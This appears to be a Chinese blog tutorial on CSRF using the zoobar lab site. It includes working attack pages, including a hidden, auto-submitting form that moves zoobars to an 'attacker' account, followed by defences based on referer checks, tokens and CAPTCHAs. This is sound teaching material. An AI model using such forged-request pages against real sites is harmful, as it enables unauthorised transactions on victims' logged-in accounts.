Web安全之CSRF

怎甘沉沦 提交于 2020-01-20 16:55:35

CSRF

一.什么是CSRF

1.CSRF:Cross-site request forgery 跨站请求伪造
2.CSRF可以实施的前提:
(1)CSRF利用站点对用户浏览器的信任
(2)被攻击网站依赖用户的身份认证
(3)网站信任已经验证过的用户
(4)攻击者使得用户的浏览器发送HTTP请求到目标网站
注意:攻击者利用的是浏览器会主动带上cookie这一原理,并没有从用户的磁盘下直接盗取用户的cookie。所有的动作都是浏览器主动完成的。
浏览器给哪个网站发出请求,不会在意是从哪个网站发出的,只在意发送到哪个网站

二.攻击过程

1.攻击原理:
在这里插入图片描述

(1).用户浏览器首先登陆了bank.com,bank.com生成了cookie并保留在用户浏览器Victim.Brower中。
(2).用户被欺骗,访问了attacker.com
(3).attacker网站中隐藏了一个表单,并用js进行自动表单请求,用户浏览器会自动执行这个操作。
攻击者伪造了本应由用户自己主动发出的行为。
(4).之后用户浏览器再访问bank.com,会自动带上cookie。
(5).之后bank.com响应这个请求,攻击完成。

2.在zoobar网站上进行攻击的实现

所谓实现CSRF攻击,就是比如用户的正常界面是A,在这个A上存在提交的表单或者需要和服务器交互的什么东东,然后攻击者仿造正常界面的表单内容设置一个攻击网站B,引诱用户点击链接B,之后B网站自动提交这个表单,因为是用户在自己主机的电脑上点击的,所以浏览器会很贴心的附加上用户的Cookie,但实际上表单的内容已经被攻击者固定,如果是转账什么的,攻击者会将转账目的地设置成自己的账户。

我们来看一遍zoobar网站上的漏洞攻击。

(1)首先查看网页源代码,发现转账页面中有一个表单,还没有写CSRF防护hhhhh(傻笑,这是基础练习网站自然不会写==)
在这里插入图片描述
在这里插入图片描述

(2)我们之后构造攻击网站,其实就是复制粘贴这段代码,弄一个相同的表单格式就好啦。
但要注意,csrf很重要的一点就是跨站,所以要重开一个端口(或者建立一个新的域名),来进行攻击网站的实现
首先弄的是一个初段攻击代码:
在这里插入图片描述

<iframe name="target" style="display:none">
</iframe>

<form method=POST name=transferform
  action="http://localhost/transfer.php" target="target">
<p>Send <input name=zoobars type=text value="1" size=5> zoobars</p>
<p>to <input name=recipient type=text value="attacker"></p>
<input type=submit name=submission value="Send">
</form>

网页执行时是这个样子
在这里插入图片描述

点击send,攻击完成,网页中的钱数减少。

(3).当然正常用户才不会这么傻,所以我们可以将攻击网站的表单设置为自动提交,然后设置非常吸引你的链接,只要你点进去这个网页,攻击就会自动发生。

首先来看自动提交表单的攻击网页:
在这里插入图片描述

<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<iframe name="target" style="display:none">
</iframe>

<img src="./sleeping_lion.jpg"></img>
<form  id=f method=POST name=transferform
  action="http://localhost/transfer.php" target="target">
<p style="display:none">Send <input name=zoobars type=hidden value="1" size=5> zoobars</p>
<p style="display:none">to <input name=recipient type=hidden value="attacker"></p>
<input type=hidden name=submission value="Send">
</form>

<script type="text/javascript">
document.getElementById("f").submit();
</script>

</body>
</html>

大体上和前面相同,只是写了一段js代码来实现自动表单的提交。

但这里我们注意一点:
在这里插入图片描述

正常网站进行转账时:内容里是三个参数,通过php源码我们也可以发现必须要有submission这个东东,但攻击网站构造时,因为不需要点击按钮了,所以还需要重写这个name为submission的东西,type类型不能再是summit了
在这里插入图片描述

在这里插入图片描述

发送内容相同,攻击成功。

(5)再进一步,我们设置一个链接,
首先在attacker的主页中写入一个这样的链接,即别的用户查看攻击者的网页时,会有一个非常吸引你想点进去的链接,即攻击链接
(这里有一个错误就是路径不能是在本网站目录下的./XXX,应该改成域名不同的网站路径。)
在这里插入图片描述

我们在登陆上别的用户,查看attacker的网页
在这里插入图片描述

点击这个链接,攻击发生。

三.CSRF防护

(一)使用Referer Check:网站检查用户请求从哪个源网站发出来的。
参见老师的两段代码:

<script>
      if((document.referrer.indexOf('localhost')<0) && (document.referrer.indexOf('zoobar.com')<0)){
              alert(document.referrer);
              document.location = "http://www.baidu.com";
              top.location = document.location;
                
}
</script>
<?php
        $ref = ($_SERVER['HTTP_REFERER']);
        $tmp1 = substr($ref,strpos($ref,'//')+2);
        $tmp2 = substr($tmp1,0,strpos($tmp1,'/'));

        if($ref !='www.zoobar.com' &&  $ref !='localhost'&& $tmp2 != 'localhost' && $tmp2 != 'www.zoobar.com')
                die("Hotlinking not permitted!");
    
?>  

防范不完全
其缺陷在于,网站并不是什么时候都能得到referer,如果用户注重隐私,禁用referer头部(其实这样会导致一些正常网站都无法访问),那么网站的防御会形同虚设。还有就是在一些Https跳转到Http时,一些网站出于安全的考虑,也不会带上Referer。
而且攻击者可以将攻击网站的名字伪造的和原网站非常像的网站名字,导致referer防御失效。
(二)Anti CSRF token
这个思路是在网页中构造一个攻击者无法轻易伪造的项。
我们以网页中对实际攻击的防御为例子:

首先看我们做完的防御:表格中有个一项token值,随着每次登陆时token值会变化,从而防御csrf攻击。
在这里插入图片描述

我将防御粒度设置为每访问一次index.php页面,token值变化一下。
我首先在index.php网页的头部写上一个随机生成的SESSION值
在这里插入图片描述

之后转到teansfer.php界面,在表格中加入一项:
在这里插入图片描述

之后在该网页中进行条件判断:
在这里插入图片描述

可以看到,正常进行Transfer,POST中已经会添加一项了:
在这里插入图片描述

(三)验证码
好处:可以防范CSRF攻击。
缺点:用户体验不好,每次都需要重新输入验证码。
攻击者如果将目光聚集在盗取验证码上是可以获取的。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!